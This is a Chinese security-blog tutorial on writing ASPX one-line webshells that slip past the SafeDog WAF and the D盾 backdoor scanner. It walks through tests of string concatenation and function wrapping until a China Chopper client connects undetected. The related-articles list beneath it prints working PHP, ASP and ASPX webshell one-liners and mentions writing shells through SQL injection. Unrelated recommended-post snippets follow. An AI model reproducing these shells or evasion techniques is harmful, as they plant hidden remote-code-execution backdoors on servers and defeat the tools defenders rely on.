hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx

本文作者:i春秋签约作家——凉风

引用i春秋作家团大佬@非主流  对一句话木马的理解:

一句话木马的意思就是,我们制造了一个包含远程代码执行漏洞的web页面。

目录:
0×01:我没有aspx代码编写基础,我该从哪入手?
0×02:正式开始:从过狗菜刀配置文件里寻找思路
0×03:再写一个:分析各种拦截机制,一一绕过
0×04:总结

0×01:我没有aspx代码编写基础,我该从哪入手?

在这里,本菜比与小白们一起学习:如何自己写aspx过狗一句话木马
“授人以鱼不如授人以渔”
前期准备(建议,自行决定):

(1)了解aspx,aspx的百度百科至少看一遍,看懂aspx一句话木马
(2)准备好可以查资料的网站(aspx语法、函数等必备知识)、工具,例如官方手册(chm文件)。
(3)本地搭建环境,装好安全狗,D盾顺便也装了
(4)菜刀肯定不可少

aspx文件就是asp.net文件,需要.net 环境,用“C#”,“Jscript”等语言编写。
Jscript手册我会放在附件里
我用的是2003server+iis+asp.net环境,装了 .net 2.0与4.0

0×02:正式开始:从过狗菜刀配置文件里寻找思路

我并不会aspx,起步的时候很难凭空弄个过狗的出来,那么就要自己想办法。

因为曾经分析过:过狗菜刀php的配置,配置里过狗的思路与php过狗木马类似,所以我在没学过aspx并且没有过狗的aspx一句话作为参考的时候,突然想到酱紫做。
曾经的分析:https://bbs.ichunqiu.com/thread-26196-1-1.html

我们看一下配置文件关于aspx的部分:

先根据它的格式还原回正常的代码(把%%换回%)

可以看有一部分是经过url编码的,因为asp.net文件貌似不能直接解析,所以先还原,看还原之后的代码。

利用网上的在线解码直接转码:

因为我曾分析过,知道:其中%s是菜刀要执行的经过base64加密的命令。

所以应该有一个base64解密函数,以及代码执行函数

这两个函数很容易找出来,

其中编码为:65001,这是utf-8。

仔细看了看有些不对劲,aspx代码部分只给了这两个函数,也就是说,aspx过狗的那一部分主要是前半段的url编码。找到的这两个函数并没有使用过狗的姿势。难道这次分析白费了?先试试再说吧,简单利用base64解密函数。(本来就没学过aspx,知道个base64解密函数也不亏了)

看我操作

我用安全狗、D盾扫描了一下,居然奇迹般的绕过了

再用菜刀连接,没问题。

(注:D盾防护全开后,将限制木马的权限,不在本文考虑范围,本文只使用D盾的后门扫描功能,安全狗全开)

0×03:再写一个:分析各种拦截机制,一一绕过

第一种方法感觉有运气成分在内,并不是我希望看到的,所以再写一个吧

这回我们靠自己。

一行一行的写代码,看看他什么时候会拦截

不再使用base64解密函数,自己寻找别的方法。

写一个光明正大的aspx木马

安全狗拦截,可是D盾只是可疑的级别,也就是说,如果只装D盾,木马不会被拦截。(已测试哦)

再改改

这次删掉了unsafe参数,安全狗照样拦截,但是D盾什么也扫不出。.net 4.0 下的eval的第二个参数取消,也就是说.net
4.0开发的网站,只装D盾,这个木马就可以绕过。但是为了兼容性,我们试着绕过“unsafe”这个拦截机制,(可以用base64解密,但是我说过不用)

用字符串拼接的方法:

安全狗还是没绕过,但是D盾没检测出unsafe参数被加进去,所以什么也没扫到。

接下来就是绕过安全狗了。

第二个参数做了绕过D盾处理,那么第一个参数来绕过安全狗的检测吧,有经验的人都知道安全狗没那么严格,第二个参数的unsafe应该不会被安全狗拦截。

创了一个函数fun(),直接返回接收到的pass的内容,也就是说经过了一个函数的传递,安全狗就不认识了。

菜刀连接成功,没问题

0×04:总结

aspx的函数没有php的函数多,个人感觉aspx花样不多,所以绕过waf的姿势不像php一样多。但是由于使用aspx的网站没有php的那么多,所以waf对aspx的重视程度没有php的大。

(学习)方法很重要,之前我没有具体分析waf的一些拦截机制,直接使用各种错误的姿势,走了一堆弯路,后来一步一步试,看怎样会被拦截(就像测试sql注入绕过一样)。用这种方法感觉效率快多了,而且思路清晰连贯。

如何自己写aspx过狗D盾一句话木马的更多相关文章

  1. python写一个能生成三种一句话木马的脚本

    代码: import time import os from threading import Thread import optparse def aspyijuhua(): try: juy=op ...

  2. 一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)

    首先一句话木马: <?php assert($_POST['a']); ?> D盾扫描,5级 分开写: <?php $a = "assert"; $b = $_P ...

  3. 一句话木马:ASPX篇

    aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],& ...

  4. 渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  5. 简单的一句话木马(asp aspx php)

    一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...

  6. [WEB]绕过安全狗与360PHP一句话的编写

    00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell.当然,安全狗是最简单的一款waf,很容易就进行一个绕过.00x02对于绕过安全狗跟360, ...

  7. thinkphp下的Webshell&&php过D盾一句话

    环境: Thinkphp 5.0.15 PHP version:7.0.12 WAF: D盾 ,安全狗 Thinkphp 采用 MVC 模式  核心:模块 -> 控制器 –> 方法 思路: ...

  8. PHP一句话木马小总结与SQL语句写一句话木马

    一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: <?php @eval($_GET["code"])?> <?php @system($_P ...

  9. PHP结合SQL语句写一句话木马

    一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: 1 <?php @eval($_GET["code"])?> 2 <?php @system ...

随机推荐

  1. MYSQL TIMESTAMP with implicit DEFAULT value is deprecated.

    TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp se ...

  2. Shrio02 Realm作用、自定义简洁Realm、Realm实现类使用

    1 Realm简介 1.1 Realm作用 shiro最终是通过Realm获取安全数据的(如用户.角色.权限),也就是说认证或者授权都会通过Realm进行数据操作 1.2 Realm接口 1.2.1 ...

  3. DNS BIND之rndc介绍及使用

    rndc(Remote Name Domain Controllerr)是一个远程管理bind的工具,通过这个工具可以在本地或者远程了解当前服务器的运行状况,也可以对服务器进行关闭.重载.刷新缓存.增 ...

  4. c语言寄存器变量

    寄存器存在于CPU内部,运算速度非常快, 因为内存中的数据必须载入寄存器才能计算.如果直接定义一个变量为寄存器变量,则少了载入等过程自然会快.对于频繁使用的变量可以把它放在寄存器中来提速度. 对于VC ...

  5. ubuntu 卡在登陆界面无法进入桌面,但是可以进入命令行界面

    ubuntu 卡在登陆界面无法进入桌面,但是可以进入命令行界面(初步断定是Xwindows界面软件出问题了,所以重装即可!)Solve: 1.Ctrl+Alt+F1进入命令行界面,root账户登陆2. ...

  6. [Jenkins]怎样在Jenkins上面启动服务器上的批处理脚本

    New Item 在Build --> Execute Windows batch command --> 里面填写: schtasks /run /tn Start_Hub_szotqa ...

  7. [Tools]SurveyMonkey

    做问卷调查,推荐一个好工具,免费的 SurveyMonkey : it's free, quick & easy! https://www.surveymonkey.com/

  8. Java 设计模式系列(二三)访问者模式(Vistor)

    Java 设计模式系列(二三)访问者模式(Vistor) 访问者模式是对象的行为模式.访问者模式的目的是封装一些施加于某种数据结构元素之上的操作.一旦这些操作需要修改的话,接受这个操作的数据结构则可以 ...

  9. android studio快捷键大全

    ----常用快捷键 1.Ctrl+E,可以显示最近编辑的文件列表 2.Shift+Click可以关闭文件 3.Ctrl+[或]可以跳到大括号的开头结尾 4.Ctrl+Shift+Backspace可以 ...

  10. System.Web.HttpUtility VS System.Web.HttpServerUtility VS System.Net.WebUtility

    HttpUtility 类作为 HttpServerUtility 类的内部使用,HttpServerUtility 通过System.Web.UI.Page.Server属性(WebForm)/Co ...